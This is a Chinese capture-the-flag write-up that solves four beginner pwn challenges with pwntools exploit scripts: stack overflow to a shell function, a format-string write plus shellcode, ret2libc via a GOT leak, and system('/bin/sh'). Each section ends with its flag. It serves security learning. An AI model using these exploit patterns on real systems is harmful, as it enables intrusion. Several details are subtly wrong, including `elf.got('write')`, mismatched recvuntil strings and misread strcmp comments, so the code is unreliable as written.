(攻防世界) - pwn入门部分新手区wp2 - string

好久好久好久好久没碰过pwn了，速速前来学习。

⭐level0

靶场： 111.200.241.244:62459

下载附件

checksec 291721f42a044f50a2aead748d539df0

64位，且没开启canary保护机制，也就是说我们可以不用考虑其他，随便溢出。拉入ida

分析

// main函数中
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

// 跳转到vulnerable_function()
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

// 显然我们可以看到有一个read函数，既可任意读取。双击buf进入

// 很显然可以看到只要覆盖（0x80 - 0x00 + 0x08）

f12查看字符串，看看有没有什么函数可以帮助我们拿到flag。

看到了 /bin/sh 就在这里呢！找到其函数地址，结合上面，只需将地址覆盖到该函数地址，我们便可随便敲命令~

编写exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

content = 0

def main():
    if content == 1:
        io = process("291721f42a044f50a2aead748d539df0")
    else:
        io = remote("111.200.241.244",62459)

    payload = b'a' * (0x80+0x8) + p64(0x400596)

    io.recvuntil("Hello, World\n")
    io.sendline(payload)

    io.interactive()
main()

cyberpeace{6be6965a887ce6e89cc6fe8e2557e0a0}

⭐string

靶场 ： 111.200.241.244:59304

老规矩。先 checksec xxx

栈溢出 （×）

拖入64ida，找到main函数，F5查看

分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  _DWORD *v4; // ST18_8

  setbuf(stdout, 0LL);
  alarm(0x3Cu); // 计时函数，60s
  sub_400996(60LL, 0LL); // 调用函数，用于欢迎！ Welcome to Dragon Games!
  v3 = malloc(8uLL);
  v4 = v3;
  *v3 = 68; // 低四位
  v3[1] = 85; // 高四位
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4, a2); // 分配空间的地址
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}

进入sub_400D72(v4)

unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", &s);
  if ( strlen(&s) <= 0xC ) // 输入的名字长度<=12
  {
    puts("Creating a new player."); 
    sub_400A7D("Creating a new player."); // 进入函数sub_400A7D()
    sub_400BB9();
    sub_400CA6(a1);
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}

sub_400A7D();

unsigned __int64 sub_400A7D()
{
  char s1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(" This is a famous but quite unusual inn. The air is fresh and the");
  puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
  puts("furniture looks undamaged by brawls, which are very common in other pubs");
  puts("all around the world. The decoration looks extremely valuable and would fit");
  puts("into a palace, but in this city it's quite ordinary. In the middle of the");
  puts("room are velvet covered chairs and benches, which surround large oaken");
  puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
  puts("one corner you notice a fireplace.");
  puts("There are two obvious exits: east, up.");
  puts("But strange thing is ,no one there.");
  puts("So, where you will go?east or up?:");
  while ( 1 )
  {
    _isoc99_scanf("%s", &s1);
    if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") ) // s1不等于east
      break;
    puts("hei! I'm secious!");
    puts("So, where you will go?:");
  }
  if ( strcmp(&s1, "east") ) // s1等于east  说明我们要选择这种情况
  {
    if ( !strcmp(&s1, "up") )
      sub_4009DD(&s1, "up"); // 进入
    puts("YOU KNOW WHAT YOU DO?");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
}

进入sub_4009DD()

void __noreturn sub_4009DD()
{
  unsigned int v0; // eax
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("You go right, suddenly, a big hole appear front you!");
  puts("where you will go?!left(0) or right(1)?!:");
  v0 = time(0LL);
  srand(v0);
  while ( 1 )
  {
    v2 = rand() % 2;
    _isoc99_scanf("%d", &v1); 
    if ( v1 != v2 ) // 也就是说我们要保证v1==v2
      break;
    puts("You escape it!but another hole appear!");
    puts("where you will go?!left(0) or right(1)?!:");
  }
  puts("YOU ARE DEAD");
  exit(0);
}

sub_400BB9();

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 ) //进入点，存在格式化字符串漏洞
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);  // 双击v2，查看v2栈地址
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);
    puts("Your wish is");
    printf(&format, &format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

sub_400CA6

unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )
      // 重点来了！！a1是什么？a1是最初分配空间地址，低四位和高四位进行比较。
      //怎么知道地址？其实在main函数中已经打印了地址
      // printf("secret[0] is %x\n", v4, a2); printf("secret[1] is %x\n", v4 + 1);
      // a1也就是 68 存放的地址，相对的 a1+1 是85存放的地址
      // 如何使这两个存放的内容相等呢？利用前面的格式化字符串漏洞
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}

编写exp

from pwn import *
# context(os='linux', arch='amd64', log_level='debug')

content = 0

def main():
    if content == 1:
        io = process("1d3c852354df4609bf8e56fe8e9df316")
    else:
        io = remote("111.200.241.244", 59304)

    # 获取地址，利用切片,方便下面利用漏洞实现内容相等
    io.recvuntil('secret[0] is\n')
    # 以十六进制解析数据，将其转换为整型，保存在addr变量中
    addr = int(io.recvuntil('\n')[: -1], 16)

    io.recvuntil("What should your character's name be:\n")
    io.sendline('J1ay')

    io.recvuntil("So, where you will go?east or up?:\n")
    io.sendline('east')
    io.recvuntil("go into there(1), or leave(0)?:\n")
    io.sendline('1')

    # 地址
    io.recvuntil('Give me an address\n')
    io.sendline(str(addr))

    payload = '%85x%7$n'
    io.recvuntil('And, you wish is:\n')
    io.sendline(payload)

    shellcode = asm(shellcraft.sh())
    io.recvuntil('Wizard: I will help you! USE YOU SPELL\n')
    io.sendline(shellcode)

    io.interactive()


main()

cyberpeace{a0c931afd336ab9ec3c904eeccee6d3f}

⭐level3

题目描述

libc!libc!这次没有system，你能帮菜鸡解决这个难题么?

111.200.241.244:63243

下载附件得到lib3和level3文件。 此题为 libc文件地址泄露

 Arch:     i386-32-little
 RELRO:    Partial RELRO
 Stack:    No canary found
 NX:       NX enabled
 PIE:      No PIE (0x8048000)

运行试试看

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# ./level3
Input:
1
Hello, World!

分析

拖入ida32查看

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function()函数

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

显而易见，这里存在泄漏点， read函数， 双击buf查看栈

可得等下需要填充的字符即栈大小 'a' * (0x88 + 0x04)

因此可以进行地址泄露操作

• 首先需要泄露write地址，获取与libc的偏移量
• 由于libc库中偏移量是一致的，所以可以借助偏移量来得到我们的 system和 /bin/sh
• 最终获取到flag

编写exp

首先得明确什么是 payload

payload = 填充字符（栈的大小）+ （覆盖EBP）+ p32(write_plt) + p32(start)(返回地址） + p32(1)+ p32(write_got)+p32(4)

其中 p32(1)+ p32(write_got)+p32(4) 这是根据 write函数参数所确定的

write(1,‘write_got’,4) 4代表输出4个字节，write_got则为要泄露的地址

简单介绍一下： 什么是plt表？什么是got表？

plt表：相当于是一个跳板，即他会跳转到一个地址来加载libc库。且每个用到的函数都会被文件分配一个plt函数

got表：经过plt表的跳转，会在got表上写入地址，且这个地址是函数调用的真实地址

编写exp如下:

# -*- codeing = utf-8 -*-
from pwn import *
# context(os='linux', arch='amd64', log_level='debug')

content = 0

# 首先先加载文件
elf = ELF("level3")
lib = ELF("libc_32.so.6")

# elf文件
write_plt = elf.plt["write"]
write_got = elf.got("write")
# 返回地址，可选取main函数进行返回
start = elf.symbols["main"]

# symbols函数：获取plt中的地址

#lib文件
lib_write = lib.symbols["write"]
lib_system = lib.symbols["system"]
# lib_bin_sh = next(lib.search(b'/bin/sh'))
lib_bin_sh = lib.search('/bin/sh').next()

def main():
    if content == 1:
        io = process("level3")
    else:
        io = remote("111.200.241.244", 63243)

    # 编写payload
    # 1、填充字符 + 覆盖EBP
    payload = b'a' * (0x88 + 0x04)
    # 2、plt地址 + 返回地址
    payload = payload + p32(write_plt)  + p32(start)
    # 3、 1、got地址、4 =》 write三个函数参数
    payload = payload + p32(1) + p32(write_got) + p32(4)

   #泄露地址
    io.sendlineafter("Input:\n", payload)
    # 获取write函数地址
    write_addr = u32(io.recv()[:4])
    print(write_addr)

    # payload
    # 获取偏移量
    base_addr = write_addr - lib_write
    system_addr = base_addr + lib_system
    bin_sh_addr = base_addr + lib_bin_sh

    payload = b'a' * (0x88 + 0x04) + p32(system_addr) + p32(1111) + p32(bin_sh_addr)
    #p32(1111)是返回地址、占位的
    io.sendlineafter("Input:\n", payload)
    io.interactive()

main()

cyberpeace{a894832ba68bccac3920f8905add3f87}

⭐cgpwn2

111.200.241.244:64653

 	Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

分析

拖入ida32

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  hello();
  puts("thank you");
  return 0;
}

进入hello函数

char *hello()
{
  char *v0; // eax
  signed int v1; // ebx
  unsigned int v2; // ecx
  char *v3; // eax
  char s; // [esp+12h] [ebp-26h]
  int v6; // [esp+14h] [ebp-24h]

  v0 = &s;
  v1 = 30;
  if ( (unsigned int)&s & 2 )
  {
    *(_WORD *)&s = 0;
    v0 = (char *)&v6;
    v1 = 28;
  }
  v2 = 0;
  do
  {
    *(_DWORD *)&v0[v2] = 0;
    v2 += 4;
  }
  while ( v2 < (v1 & 0xFFFFFFFC) );
  v3 = &v0[v2];
  if ( v1 & 2 )
  {
    *(_WORD *)v3 = 0;
    v3 += 2;
  }
  if ( v1 & 1 )
    *v3 = 0;
  puts("please tell me your name");
  fgets(name, 50, stdin);
  puts("hello,you can leave some message here:");
  return gets(&s);
}

注意到gets函数

双击name，进入发现 hello在bss段上，也就是说我们写一个/bin/sh进去，之后让get函数溢出就成

变量s 双击进入 得到 将要覆盖的栈大小 0x26+0x04

编写exp

# -*- codeing = utf-8 -*-

from pwn import *
# context(os='linux', arch='amd64', log_level='debug')

content = 0

elf = ELF("cgpwn2")
system = elf.plt["system"]
bin_sh = 0x0804A080

def main():
    if content == 1:
        io = process("cgpwn2")
    else:
        io = remote("111.200.241.244",64653)

    payload = b'a' * (0x26+0x04)
    payload = payload + p32(system) + p32(1111) + p32(bin_sh)

    io.recvuntil("please tell me your name\n")
    io.sendline("/bin/sh")
    io.recvuntil("hello,you can leave some message here:\n")
    io.sendline(payload)

    io.interactive()

main()

得到

cyberpeace{5b546e39364ac0f5338063733fb29258}